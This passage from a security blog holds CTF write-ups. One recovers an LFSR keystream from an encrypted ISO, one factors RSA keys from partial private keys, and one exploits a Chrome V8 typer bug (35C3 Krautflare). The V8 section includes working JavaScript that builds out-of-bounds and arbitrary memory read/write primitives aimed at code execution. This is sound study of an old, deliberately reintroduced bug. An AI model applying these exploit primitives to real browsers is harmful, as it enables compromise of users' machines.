However, all we have is an encrypted (i.e. XOR'd) stream. How can we recover the keystream to perform the attack?

Attacking the ISO File Format

The ISO Optical Disc Image file format is standardized as the ISO 9660 technical standard which describes the file system used for optical media. Since our flag.iso.enc is an encrypted version of this format, we can look for peculiar properties that might help us obtain any information we need. For a XOR-based cipher, if we have a portion of the plaintext known, then we immediately know that portion of the keystream. Thus, we are looking for regions of the ISO file that have fixed known values (such as magic numbers, or file/segment/structure sizes etc.) or are amongst a small number of possible values (for example, if a field is a boolean, or is from a small collection of integers).

If we can find a contiguous segment of 80,000 bytes, then we immediately have a full break on the system. Reading through the Wikipedia page on ISO 9660, we find this:

The system area, the first 32,768 data bytes of the disc (16 sectors of 2,048 bytes each), is unused by ISO 9660 and therefore available for other uses.

This is interesting. Unused areas are usually set of 0s (i.e. NUL bytes) by many programs/utilities, and thus it is possible that the first 32,768 bytes of the file are directly the keystream. Indeed if we check a few random ISO files downloaded from the internet (such as from Linux distros) those first few bytes are always 0s. Unfortunately, this is less than the 80,000 bytes we need, but it is a good start. It also indicates to us that there may be more contiguous regions around.

Reading further, we can find some other regions of the disc that are fixed values, or are amongst a small set of values, but are not long enough for us to perform the attack easily. At this point, we can simply stare at the actual bytes in the few downloaded ISO files to see if there are any large contiguous regions that existed on all of them. And yes, indeed there are! The last few 10s of thousands of bytes of the file seem to always be 0s. At this point, we can make the assumption that 2*N bytes might be 0s in the plaintext version of flag.iso.enc too, and thus implement the attack. If our assumption is wrong, the recovered key material will clearly be wrong (since we won't obtain the required ISO 9660 headers at the start of the file) and if so, we can look for other regions to attack. Thankfully this assumption works out in the end!

Putting it all together

Now that we have a nice overall plan of attack, it is time for us to write down the attack script. We perform the attack on each bit position separately, by iterating over all 8 possible bit_positions. We begin by using the Berlekamp-Massey Algorithm on the last BACKWARD_DEPTH bits extracted from flag.iso.enc. We use a BACKWARD_DEPTH that is larger than 2*N so that we can perform extra sanity checks. When we perform the Berlekamp-Massey Algorithm, we obtain the minimal LFSR that could represent the bits we gave it, which means that if this LFSR is larger than 40,000 (our value of N) then we know for a fact that at least one value in the plaintext in the last BACKWARD_DEPTH bytes of the file is non-zero. Thankfully, this is not the case, and we are able to obtain a set of 8 LFSRs of size 40,000, one for each bit.

Since this algorithm is time consuming, we run the code using PyPy which is an alternate implementation of Python which is significantly faster since it uses a JIT compiler. Nonetheless, this still takes a few minutes to run, and thus it is a good idea to cache the results when iterating on the attack.

Once we have recovered these 8 LFSRs, we need to run them in reverse to obtain the keystream for the rest of the file. Since the LFSR needs to look at ~40,000 values of its state for each bit it can produce, as you would expect, this is also slow. It is however helped by PyPy again.

Once we have obtained the whole keystream for each bit, we can merge these keystreams to get it as a byte-based keystream, and use this to recover the plaintext by simply performing a bitwise XOR across the ciphertext. We output this to a file output.iso.

If we run the final script we get this:

$ pypy3 ./solve.py
[+] Make sure you are running this with pypy3, else you will be sad...
[+] Starting Berlekamp-Massey on the last 100000 bytes; once per bit
    ... brew a cup of coffee and come back.
    It's gonna take a few minutes
100%|███████████████████████████████████| 8/8 [07:09<00:00, 53.64s/it]
[+] Have a poly of size [40000, 39999, 39992, 39998, 39989, 39999, 40000, 39997]
[+] Reversing the LFSR to recover key material
    ... brew yet another cup of coffee and come back.
    It's gonna take a few minutes
100%|███████████████████████████████████| 8/8 [07:13<00:00, 54.16s/it]
100%|████████████████████| 1012672/1012672 [00:54<00:00, 18431.75it/s]
[+] Reversed key material.
[+] Merged bits.
[+] Recovered plaintext.
[+] Saved to output.iso!

Approximately 10~15 minutes of execution later, we obtain output.iso which we check to see that it is indeed an ISO file:

$ file output.iso
output.iso: ISO 9660 CD-ROM filesystem data 'CDROM'

We then mount the file mkdir temp && sudo mount output.iso temp && cd temp, and inside the file-system, we find a single file - flag.htm which is a rendered version of the flag:

pbctf{y0u_c4n_s0lVE_To3plitZ_SYStems_1n_SQuAre_TiMe}

Closing Thoughts

Overall, this challenge was super fun to solve. It was a nice mix of understanding file formats, making simple assumptions to make progress, and validating those assumptions as we go along.

For what it's worth, the flag that we obtain refers to the Toeplitz matrix which is a matrix A where A[i][j] == A[i+1][j+1] for all i and j. I was not aware of what this matrix is called, but indeed this can be used to nicely model what the PRNG in this problem is doing. And indeed there appears to be a quadratic time algorithm (rather than the naive cubic time algorithm for normal matrices) to solve an equation of the form Ax = b where A is a Toeplitz matrix. This algorithm can thus be used to solve this challenge, and this appears to be the expected solution (at least based upon what's written in the flag). This is definitely more elegant, and indeed along my path towards solving it, I did write it down in this matrix form, and I guessed that there must be a faster solution than cubic to be able to solve this equation due to the fewer degrees of freedom, but I didn't know what this matrix was called, and thus was unable to search for the right things to find it. However, I was able to recognize parallels to the LFSR (which is a classic, albeit broken, way to implement a PRNG), which ended up being sufficient to solve the challenge.

Cheers to braindead of Perfect Blue for making this challenge. This was a lot of fun :)

RSA Chained (Dragon CTF Teaser 2019)

2019-09-25T00:00:00+00:00

In this challenge, we need to recover a message that is encrypted through 4 different RSA keys, while knowing some of the bits of the private keys. In particular, we are given code that generates 4 different RSA keys (of ~2100 bits each), permutes them, encrypts the flag by each of them in succession, and then provides us the encrypted flag. Additionally, we are given the moduli of the keys, as well as the lower half (i.e., least significant 1050 bits) of the private keys. These are given to us in output.txt.

The only other info that is given to us is:

Keys are generated in the standard way with the default setup...

Let's first sketch out how the keys are generated. We name everything using SSA-style (i.e., give new names each time we reassign a variable to a new value) so that we can better keep track of things:

RSA Modulus	Use	Size (Bits)
n1	p1 q1	700 + 1400
n2	p2 q2 r2	700 + 700 + 700
n3	p3 q3 r2	700 + 700 + 700
n4	p4 q4 q4	700 + 700 + 700

Notice how we have a repeated r2? This will help us soon.

Another thing to note here is that n1, n2, n3, n4 are not in the order we get them in output.txt – the order we get is in sorted order.

Let's call the keys we get as ns[0] .. ns[3], to keep them separate from n1, … n4. Also, let's called the partial private keys as nerf_ds[0] .. nerf_ds[3], since we have only a part of them.

import itertools
import gmpy2

with open('./output.txt') as f:
    data = f.read().strip().split('\n')

keys = map(lambda x: map(int, x.split(' ')[1:]), data[0:4])
enc_flag = int(data[4].split(' ')[2])

ns = map(lambda x: x[0], keys)
nerf_ds = map(lambda x: x[1], keys)

Recall that there was a repeated r2. We can recover this, and also figure out part of the permutations by simply performing a pairwise GCD of the different moduli.

for a, b in itertools.product(ns, ns):
    if a >= b:
        continue
    gcd = gmpy2.gcd(a, b)
    if gcd > 1:
        r2 = gcd
        print str(r2)[:30] + '...'

n2n3 = []
for i, a in enumerate(ns):
    if a % r2 == 0:
        n2n3.append(a)
        print i

326199725504488859529927636344...
0
1

Now we know that ns[0] and ns[1] are n2 and n3 (we can, for now, just arbitrarily pick the order – we'll fix it later if necessary).

This also tells us that ns[2] and ns[3] are n1 and n4 although again we don't know which is which.

Now let's get to the nerfed private keys.

Since we have the lower half of the private keys, we should be able to get something, right?

Turns out, there is a nice attack when you know the LSBs of the private key: Coppersmith Attack!

Let's re-derive it from scratch, first for the p*q case (i.e., n1), since we'll need to understand its derivation to be able to use it for n2, n3 and n4.

e*d = 1 (mod phi)
e*d - 1 = k * phi
e*d - 1 = k * ((p-1) * (q-1))
e*d - 1 = k * (p*q - p - q + 1)
e*d - 1 = k * (N - p - q + 1)
e*d*p - q = k * p * (N - p - q + 1)
e*d*p - k*p*(N - p + 1) + k*N = p
e*d*p - k*p*(N - p + 1) + k*N = p (mod M)
(k)*p² + (d*e - k*N - k - 1)*p + k*N = 0 (mod M)

In the above, M means 2^1050 which refers to the fact that we only know the lower 1050 bits of the private key. Since the final equation is modulo M, we actually know all of the values for the quadratic equation in p, if we simply pick a value for k.

Since we know that 0 < d < phi, we know that 0 < k <= e. Conveniently, e is only 1667, which means we only need to try 1667 such quadratic equations.

One small setback- we need to compute the quadratic equation modulo M. We could use Sage's solve_mod but for some reason I wasn't able to really get it to work well (not entirely sure why) so I decided to implement it myself. What we need to know for this is Hensel's Lemma. More particularly, one if its consequences: if we can compute the root of a single-variable function f modulo some power of a prime, we can easily compute the root modulo the next power. There are indeed more powerful things we can do with this, but this requires more specific conditions that we don't really have, so let's simply use this fact for now. I ended up implementing a fairly simply higher-order function that computes these roots using the most basic way I could think of doing this:

# Compute roots of f modulo p^k
def roots_by_hensel_lift(f, p, k):
    assert k >= 1

    def M(x):
        return x % (p ** k)

    results = set()
    if k == 1:
        for i in xrange(0, p):
            if M(f(i)) == 0:
                results.add(i)
        return results
    assert k > 1
    for r in roots_by_hensel_lift(f, p, k - 1):
        for i in xrange(0, p):
            if M(f(r + ((p ** (k - 1)) * i))) == 0:
                results.add(r + ((p ** (k - 1)) * i))
    return results

Unfortunately, if we use it for anything larger than some depth, we'll hit the default recursion limit for Python, so let's change it:

from sys import setrecursionlimit
setrecursionlimit(10000)

Now we can easily go over each of the keys that we have, and quickly factor them, as long as they are of the form p * q (i.e., n1). Since this must be either ns[2] or ns[3], let's only run it on these two.

def factor_pq(N, partial_d):
    e = 1667
    for k in range(1, e + 1):
        A = k
        B = (partial_d * e) - k * N - k - 1
        C = k * N

        def f(x):
            return (A * x * x) + (B * x) + C

        solns = roots_by_hensel_lift(f, 2, 1050)

        for possible_ans in solns:
            if N % possible_ans == 0:
                return possible_ans

p1 = factor_pq(ns[2], nerf_ds[2])
if p1 is not None:
    print "Found n1 in ns[2]"
    n1 = ns[2]
else:
    p1 = factor_pq(ns[3], nerf_ds[3])
    assert p1 is not None
    print "Found n1 in ns[3]"
    n1 = ns[3]
print "p1 =", str(p1)[:30] + '...'
assert n1 % p1 == 0
assert n1 != p1
q1 = n1 / p1
print "q1 =", str(q1)[:30] + '...'

Found n1 in ns[3]
p1 = 188689169745401648234984799686...
q1 = 224327615705283723685555998413...

It takes a minute or so to find the above answer. But yeah, now we have factorized ns[3] and also just learnt that ns[2] is n4.

Let's tackle that now, shall we?

Since n4 is of the form pqq, we need to re-derive an attack using the same technique we used before (Coppersmith's attack). The only difference here is that we will try to obtain an equation in q simply because it is easier. Additionally, this equation turns out to be a cubic equation, but that's ok for us, since Hensel's lemma works here too.

e*d = 1 (mod phi)
e*d - 1 = k * phi
e*d - 1 = k * ((p-1) * (q-1) * q)
e*d - 1 = k * (p*q*q - q*q - p*q + q)
e*d - 1 = k * (N - q*q - p*q + q)
e*d*q - q = k * q * (N - q*q - p*q + q)
e*d*q - k*q*(N - q*q + q) + k*N = q
e*d*q - k*q*(N - q*q + q) + k*N = q (mod M)
(k)*q³ - (k)*q² + (d*e - k*N - 1)*q + k*N = 0 (mod M)

Now all we've got to do is dump this equation into the kind of code we used before, using the handy higher-order function roots_by_hensel_lift that we wrote earlier:

def factor_pqq(N, partial_d):
    e = 1667
    for k in range(1, e + 1):
        A = k
        B = -k
        C = (partial_d * e) - k * N - 1
        D = k * N

        def f(x):
            return (A * x * x * x) + (B * x * x) + (C * x) + D

        solns = roots_by_hensel_lift(f, 2, 1050)

        for possible_ans in solns:
            if N % possible_ans == 0:
                return possible_ans

n4 = ns[2]
q4 = factor_pqq(ns[2], nerf_ds[2])
assert q4 is not None
assert n4 % q4 == 0
assert n4 % (q4 * q4) == 0
p4 = n4 / (q4 * q4)
print "p4 =", str(p4)[:30] + '...'
print "q4 =", str(q4)[:30] + '...'

p4 = 220432465124408995064591975926...
q4 = 267307309343866797026967908679...

This too takes a little while to compute (in the order of about a minute), but soon we know the factorization of n4 too.

Now all that's left is for us to do the same for n2 and n3. Recall that these are of the form p * q * r, but we know r due to the shared r that we computed earlier.

Let's just re-derive a similar attack as before. We reduce the final equation down to a quadratic equation in p.

e*d = 1 (mod phi)
e*d - 1 = k * phi
e*d - 1 = k * ((p-1) * (q-1) * (r-1))
e*d - 1 = k * (p*q*r - p*q - p*r - q*r + p + q + r - 1)
e*d - 1 = k * (N - p*q - p*r - q*r + p + q + r - 1)
e*d*p*r - p*r = k*p*r*(N - p*q - p*r - q*r + p + q + r - 1)
(k*r*r - k*r)*p² + (k*N - r + d*e*r + k*r - k*N*r - k*r*r) + (k*N*r - k*N) = 0
(k*r*r - k*r)*p² + (k*N - r + d*e*r + k*r - k*N*r - k*r*r) + (k*N*r - k*N) = 0 (mod M)

Since we know r it is ok to keep around. Let's feed this into similar code as before, again reusing our handy roots_by_hensel_lift.

Recall that we don't know the order for which one is n2 and which one is n3. Let's just stick to one order and fix it later if it turns out to be an issue.

def factor_pqr(N, partial_d, r):
    e = 1667
    for k in range(1, e + 1):
        A = k*r*r - k*r
        B = k*N - r + partial_d*e*r + k*r - k*N*r - k*r*r
        C = k*N*r - k*N

        def f(x):
            return (A * x * x) + (B * x) + C

        solns = roots_by_hensel_lift(f, 2, 1050)

        for possible_ans in solns:
            if N % possible_ans == 0:
                return possible_ans


n2 = ns[0]
assert n2 % r2 == 0
p2 = factor_pqr(ns[0], nerf_ds[0], r2)
assert n2 % (p2 * r2) == 0
q2 = n2 / (p2 * r2)

n3 = ns[1]
r3 = r2
assert n3 % r3 == 0
p3 = factor_pqr(ns[1], nerf_ds[1], r3)
assert n3 % (p3 * r3) == 0
q3 = n3 / (p3 * r3)

print "p2 =", str(p2)[:30] + '...'
print "q2 =", str(q2)[:30] + '...'
print "r2 =", str(r2)[:30] + '...'
print "p3 =", str(p3)[:30] + '...'
print "q3 =", str(q3)[:30] + '...'
print "r3 =", str(r3)[:30] + '...'

p2 = 902985578846825776692383207600...
q2 = 291668652611471250039066078554...
r2 = 326199725504488859529927636344...
p3 = 142270506848638924547091203976...
q3 = 282595361018796512312481928903...
r3 = 326199725504488859529927636344...

This takes a tad bit longer, but works out, and then suddenly, now we have all the factorized keys. Let's compute all the private keys.

e = 1667
d1 = gmpy2.powmod(e, -1, (p1-1)*(q1-1))
d2 = gmpy2.powmod(e, -1, (p2-1)*(q2-1)*(r2-1))
d3 = gmpy2.powmod(e, -1, (p3-1)*(q3-1)*(r3-1))
d4 = gmpy2.powmod(e, -1, (p4-1)*(q4-1)*q4)

We also know that the order of the encryptions is n2, n3, n4, n1. This means we should decrypt in the opposite order:

flag = enc_flag
flag = pow(flag, d1, n1)
flag = pow(flag, d4, n4)
flag = pow(flag, d3, n3)
flag = pow(flag, d2, n2)
print hex(flag)[:30] + '...'

0x4472676e537b77335f6669583364...

That looks promising. Let's just dump the flag now.

print hex(flag).replace('0x', '').decode('hex')

DrgnS{w3_fiX3d_that_f0r_y0U}

And there we go!

Overall, this was a super fun challenge to solve. Personally, I think I learnt quite a lot and feel I've got a deeper understanding of both the Coppersmith attack, as well as Hensel's Lemma.

For those wondering, during the CTF, we didn't have such a clean solution. n1 was solved by a custom solver written in Python by me. n2 and n3 were solved by a custom solver written in Sage by @ubuntor (since solve_mod didn't work in Sage for some reason). The only part that matches the above code is the solution for n4 which I wrote last after understanding Hensel's lemma much better. Now that I had the clean version for n4 though, I couldn't resist cleaning the rest of the solution up to reuse the nice roots_by_hensel_lift function, and thus this writeup :)

Exploiting Chrome V8: Krautflare (35C3 CTF 2018)

2019-01-02T00:00:00+00:00

In this challenge, we had to obtain remote code execution, simply by exploiting a 1-day bug that forgot the difference between -0 and +0. This has probably been one of the most difficult, fun, and frustrating bugs I have ever exploited.

As someone who has never exploited a JavaScript engine vulnerability ever before, this challenge was a journey, filled with tons of ups and downs. I had an approximate idea of what might be involved, since I had recently started looking into Chrome V8 to try to find some 0-day vulnerabilities (and I succeeded! more on this in a future blog post), but I had never actually written an exploit ever, so I thought this challenge (which involves writing a 1-day exploit) might be an interesting one to solve, which will help me understand v8 internals much better too.

Some quick stats: 35C3 CTF lasted a total of 48 hours, and this challenge had a total of 3 solves by the end of the CTF. The challenge was thus worth (due to dynamic scoring) 451 points. I spent practically the entire CTF on this challenge (minus a couple of hours of sleep), and solved it ~1.5 hours before the CTF ended.

I have split this writeup into multiple sections. Depending on your level of experience with v8 and this challenge, please feel free to jump ahead (or directly read the annotated exploit code here).

The Challenge

The challenge had the following description:

Krautflare workers are the newest breakthrough in serverless computing. And since we're taking security very seriously, we're even isolating customer workloads from each other!

For our demo, we added an ancient v8 vulnerability to show that it's un-exploitable! See https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 for details. Fortunately, that was the last vulnerability in v8 and our product will be secure from now on.

Files at https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar. Challenge at: nc 35.246.172.142 1

Note: This challenge is hard! It's made for all the people who asked for a hard Chrome pwnable in this survey at https://twitter.com/_tsuro/status/1057676059586560000. Though the bug linked above gives you a rough walkthrough how to exploit it, you'll just have to figure out the details. I hope you paid attention in your compiler lectures :). Good luck, you have been warned!

In case the challenge files are taken down, you can find a copy of the provided challenge files here.

Understanding the Bug

The explanation of the bug on the project zero link is useful. It tells us that the "typer" (which is a part of the v8 JIT) misses the case of -0 when using Math.expm1. If we look at MDN for this function, we see that the functions returns e^x - 1. Since we are working with JavaScript, all numbers are double precision floating point numbers, following the IEEE 754 standard. Within this, there exist two zeros (known as Signed Zeros): +0 and -0. Both act almost exactly the same, except under very specific circumstances. Math.expm1 is one of them. In particular, Math.expm1(+0) == +0 and Math.expm1(-0) == -0. This operation seems to be performed correctly by v8, however, the typer (which is used to perform optimizations) seems to forget this -0 case.

The project zero link lists a simple test case that we can use to quickly verify if the provided d8 binary (which is a standalone executable, which can be used for v8), has the bug. Unfortunately, the bug is not triggered. We'll explore this soon.

We also have a better look around everything else that is provided to us, and while most of it is boilerplate code, it is important to note that the d8 binary provided to us is a release binary, and that will make it difficult to easily to develop an exploit. Thankfully, we are provided a build_v8.sh script, which we can modify and build our own debug version (by simply changing x64.release to x64.debug and running it).

For most of the exploitation from this point forward, I used this newly built debug build, switching back once in a while to check if what I have works as expected even on the release build.

For more background on understanding JIT bugs, especially if you are not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat 2018 talk by Samuel Groß (@5aelo) titled "Attacking Client-Side JIT Compilers".

For more background on the v8 JIT (aka TurboFan), I would recommend reading its docs.

Approximate Plan of Attack

As explained on the project zero link, we will need to use Object.is to differentiate between -0 and +0 once we have triggered the bug. Neither division, nor Math.atan2 are going to be useful for us. In addition to this, we need to prevent the bug from being triggered in two phases of the compiler pipeline, and then have it triggered in the third phase. In particular, we need to get past the "typer" and "load elimination" phases, and we need to trigger the bug in the "simplified lowering" phase.

Once we have surpassed these issues, we need to ensure that the Object.is becomes into a SameValue node, instead of a ObjectIsMinusZero node, in addition to making sure that the value passed into this comes from a Call node, rather than a FloatExpm1 node.

Once we have surpassed these issues, the (wrong) type can be used to perform a bounds check elimination. This means that a CheckBounds node that exists before an array access would be removed, and we obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this, we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and some "good" memory leaks, which we can then use to somehow manipulate memory and give us a shell.

As for how the somehow would work: in the past, attacking JavaScript Engines was much easier, since they used to have RWX pages, used for JITed functions, where once we had arbitrary read write, we could've simply thrown in our shellcode into a JITed function and then called it. Nowadays, we don't have RWX pages, so we'll need to come up with a way around it.

Setting up Debugging

In order to aid debugging, as mentioned in the previous section, we build a debug build of d8. In addition to this, we also use Turbolizer which will help us visualize the "sea of nodes" graphs that v8 produces during optimization.

For debugging during exploit development, I will also be using gdb with peda (mostly for its telescope command), but with some modifications. These modifications make it easier to work with pointers in v8, which are "tagged pointers" where their least significant bit is set. Since we know that pointers are not used directly but offset by 1, the modifications that I introduced into peda check and reset the least significant bit, before being used for further work in the telescope command.

Another last important debug technique, before we get to triggering the bug is v8 natives syntax. These are functions that begin with %, and the two important ones we'll be using are %OptimizeFunctionOnNextCall and %DebugPrint, both of which do exactly what they say they do.

Triggering the Bug

Now with all the important basics out of the way, how do we trigger this bug?

The answer lies in the patch files that are provided to us. In particular revert-bugfix-880207.patch shows that rather than reverting both the changes in operation-typer.cc and typer.cc, only the changes in typer.cc have been reverted. However, along with this, quite helpfully, a regression unit test has also been reverted. We can use this unit test.

Side note: The chromium bug tracker link which is linked from the project zero link was not accessible during most of the CTF, and was derestricted (if I remember correctly) closer to the second day of the CTF. It confirms that the bug was fixed in two parts (see Comment #8), and here, only the second part is reverted for this challenge.

Back to triggering the bug. We use the provided regression test to first check if the provided d8 and debug d8 actually work on this test. We don't want to depend on mjsunit.js. So, we remove the fluff that isn't "standard" JS or an optimization native, and check, if we can trigger it. Fortunately, we can, with the following code:

function f(x) {
  return Object.is(Math.expm1(x), -0);
}

function g() {
  return f(-0);
}

f(0);
// Compile function optimistically for numbers (with fast inlined
// path for Math.expm1).
%OptimizeFunctionOnNextCall(f);
// Invalidate the optimistic assumption, deopting and marking non-number
// input feedback in the call IC.
f("0");
// Optimize again, now with non-lowered call to Math.expm1.
console.log(g());
%OptimizeFunctionOnNextCall(g);
console.log(g()); // returns: false. expected: true.

Using Turbolizer (described in the previous section), we can now start to work on triggering this bug at the correct phase ("simplified lowering").

Noticing that the phase that lies between "load elimination" (where we do not want the bug to be triggered yet) and "simplified lowering" (where we want bug to be triggered) phases, there lies the "escape analysis" phase. Clearly, we need to perform some manipulations at this phase in order to "hide" the bug from the optimizer before, and then "reveal" after.

There's a great talk by Tobias Ebbi titled "Escape Analysis in v8", that was super useful in understanding the complexities involved in escape analysis. Thankfully, we don't need to worry about most of it. We can simply use the intuition that if an object does not escape, and this is "easy" for v8 to prove, then it will convert the object's members into local variables instead.

With this idea in mind, I tried to mess around with objects until I was able to get something to work, which would not trigger on the first two relevant phases, and would trigger on the 3rd. Unfortunately, I wasted a bunch of time due to not being able to see feedback types from simplified lowering in Turbolizer. If someone has a good way to have these show up, please do let me know :) However, I finally started to use the --trace-representation flag (thereby my whole d8 command was ./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo) which allowed me to see feedback types at the terminal. Using these, I could now figure out whether I was triggering the bug at the right point, and turns out I had figured it out a while ago: it just wasn't showing up in Turbolizer (since that was showing types, and not the feedback types, which "simplified lowering" uses).

The final code used for triggering the bug, exactly in the phase we wanted (with a minor change to force it to be an integer, which will be useful in the next stages of writing this exploit):

function _auxiliary_(x) {
    var a = {zz : Math.expm1(x), yy : -0};
    a.yy = Object.is(a.zz, a.yy);
    return a.yy;
}

function trigger() {
    var a = { z : 1.2 };
    a.z = _auxiliary_(-0);
    return (a.z + 0); // Real: 1, Feedback type: Range(0, 0)
}

_auxiliary_(0);
%OptimizeFunctionOnNextCall(_auxiliary_);
_auxiliary_("0");

trigger();
%OptimizeFunctionOnNextCall(trigger);
trigger();

Escalating to an OOB RW

Once we have the bug triggering as expected, we have to now start to abuse this. The plan was to add an array of floats, and use this mismatched value in order to have the value at some x which is outside the array, but have the optimizer think that we are indexing from 0. This way, the optimizer would eliminate the CheckBounds node, and we'll have an OOB RW primitive.

Unfortunately, this is easier said than done. Due to the nature of this bug, and the method I was using to ensure it stays a Call node, the "inlining" phase (in particular, JSNativeContextSpecialization which runs during that phase) splits the CheckBounds node into CheckBounds and NumberLessThan nodes. The "real" length check now happens at the NumberLessThan, and unfortunately, the "simplified lowering" phase does not propagate feedback types along NumberLessThan nodes.

This had me stumped for a while, and I kept trying various different alternative ways of calling things, and also read through a lot of the v8 code base, trying to understand how to prevent this from happening.

I finally stumbled upon this (basically, it required having both functions take and pass the same arguments):

function _auxiliary_(minusZero, isstring) {
    let aux_x = minusZero ? -0 : (isstring ? "0" : 0);
    let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0};
    aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y);
    return aux_a.aux_y;
}

function trigger(minusZero, isstring) {
    let a = { z : 1.2 };
    a.z = _auxiliary_(minusZero, isstring);
    let i = a.z + 0; // Real: 1, Feedback type: Range(0, 0)
    i &= 1;      // feedback: 0
    i *= 6;      // feedback: 0

    let arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    return arr[i];
}

console.log(trigger(false, false));
    %OptimizeFunctionOnNextCall(trigger);
console.log(trigger(false, true));
    %OptimizeFunctionOnNextCall(trigger);
console.log(trigger(true));

I don't think I have ever been this happy to see a number as large as -1.1885946300594787e+148 in my life :D

Unfortunately, triggering this bug had been extremely difficult, and it was fragile, so I decided to spend some time working on stabilizing this, and making it easier to do OOB RWs.

Stabilized OOB RW

The initial idea for this is to take a "short" array, use the bug to overwrite its length, and then provide this new array to the "outside world". This way, later stages of the exploit can easily perform out-of-bounds accesses without needing to trigger the original finicky bug again.

In order to perform this stabilization, we need to introduce 2 arrays, use the first to overwrite the length of the second. In particular, we will set the length of the second array to 1024 * 1024 so that we definitely have enough to overwrite whatever we want.

Since we need to work with conversions between floats and integers, I copied the following code from Google CTF 2018's "Just In Time" challenge:

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
  int_view[0] = this;
  return float_view[0];
}
BigInt.prototype.smi2f = function() {
  int_view[0] = this << 32n;
  return float_view[0];
}
Number.prototype.f2i = function() {
  float_view[0] = this;
  return int_view[0];
}
Number.prototype.f2smi = function() {
  float_view[0] = this;
  return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
  return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
  return BigInt(this).smi2f();
}

We can now implement our idea. Since the code had started to get a little more complex, I also started to add in some small test cases that will help me figure out if things were going fine or wrong.

let oob_rw_buffer = undefined;

function trigger(minusZero, isstring) {
    // The arrays we shall target
    let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
    let b = [1.1, 1.2, 1.3, 1.4, 1.5];

    // Trigger the actual bug
    let aux_a = { aux_z : 1.2 };
    aux_a.aux_z = _auxiliary_(minusZero, isstring);
    let i = aux_a.aux_z + 0;    // Real: 1, Feedback type: Range(0, 0)

    // Move over to the length field for `b`
    i *= 16;            // feedback: 0

    // Change the length to 1024 * 1024
    a[i] = (1024*1024).smi2f();

    // Expose OOB RW buffer to outside world, for stage 1
    oob_rw_buffer = b;

    return a[i + 1];
}

if (trigger(false, false) != 1.1) {
    throw "[FAIL] Unexpected return value in unoptimized trigger";
}
    %OptimizeFunctionOnNextCall(trigger);
if (trigger(false, true) != 1.1) {
    throw "[FAIL] Unexpected return value in first-level optimized trigger";
}
    %OptimizeFunctionOnNextCall(trigger);
if (trigger(true) == undefined) {
    throw "[FAIL] Unable to trigger bug"
}
if ( oob_rw_buffer.length < 1024 ) {
    throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer";
}

It was at this point that I noticed that from this point forward, I would, for the most part, be unable to use the debug build. The reason for this is that performing an OOB RW using oob_rw_buffer caused a dynamic debug-time check. Thus, I switched over to using the release build from this point forward. I did temporarily switch back to the debug build from time to time, in order to better obtain offsets for exploitation, but otherwise, I relied almost entirely on the release build.

Powerful Primitives

Now that we have an OOB RW primitive, we can start to craft more useful primitives, namely arb_read, arb_write, and addr_of:

arb_read(addr): Reads 8 bytes from addr and returns as a BigInt.
arb_write(addr, value): Writes the 8-byte BigInt value to addr.
addr_of(o): Returns the address of the object o. This should give the same value as what %DebugPrint returns.

Unfortunately, in order to design these primitives, we are going to need to modify the trigger function above one last time. This is because we need to introduce two more arrays that should be allocated immediately after oob_rw_buffer, and then use those to give us the primitives we need.

Modified trigger:

let oob_buffer = undefined;
let oob_buffer_unpacked = undefined;
let oob_buffer_packed = undefined;

function trigger(minusZero, isstring) {
    // The arrays we shall target
    let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1];
    let b = [1.1, 1.2, 1.3, 1.4, 1.5];
    let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8];
    let d = [3.1, 3.2, 3.3, 3.4];

    // Trigger the actual bug
    let aux_a = { aux_z : 1.2 };
    aux_a.aux_z = _auxiliary_(minusZero, isstring);
    let i = aux_a.aux_z + 0;    // Real: 1, Feedback type: Range(0, 0)

    // Change `b.length` to 1024 * 1024
    a[i * 16] = (1024*1024).smi2f();

    // Expose OOB RW buffer to outside world, for stage 1
    oob_buffer = b;
    oob_buffer_unpacked = c;
    oob_buffer_packed = d;

    return i == 0 ? 'untriggered' : a[i];
}

Now, we have a set of 3 buffers that we can use to provide the exact primitives we need:

oob_buffer: This is the attacked array, which provides us with the ability to perform oob rw
oob_buffer_unpacked: This array consists of tagged pointers and unpacked floats. This will be used to give us the addr_of primitive.
oob_buffer_packed: This array consists of packed floats. This will be used to provide our arb_read and arb_write primitives.

What is this "packed" and "unpacked"? As a memory optimization, v8 stores an array consisting only of floats as a "packed" float array. This means that all the floats lie contiguously. This is in comparison to the unpacked form, which is used whenever there is at least 1 non-float in the array. In this case, objects are stored as tagged pointers, and the floats are stored in "boxed" form.

With these now, we can define our primitives, which are got simply by accessing the elements of the two latter buffers.

const RW_OFFSET = 38;
const ADDR_OFFSET = 18;
const BACKING_POINTER_OFFSET = 15n;
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET;

function arb_read(addr) {
    let old = oob_buffer[RW_OFFSET];
    oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
    r = oob_buffer_packed[0].f2i();
    oob_buffer[RW_OFFSET] = old;
    return r;
}

function arb_write(addr, val) {
    let old = oob_buffer[RW_OFFSET];
    oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
    oob_buffer_packed[0] = val.i2f();
    oob_buffer[RW_OFFSET] = old;
}

function addr_of(o) {
    let old = oob_buffer_unpacked[0];
    oob_buffer_unpacked[0] = o;
    let r = oob_buffer[ADDR_OFFSET].f2i();
    oob_buffer_unpacked[0] = old;
    return r;
}

We also write some tests to help ensure that things work smoothly as we move on to the next stages (you can find these in the final exploit file).

Crafting an Attack

With the powerful primitives that we now have access to, we can easily trample over whatever memory we want/need.

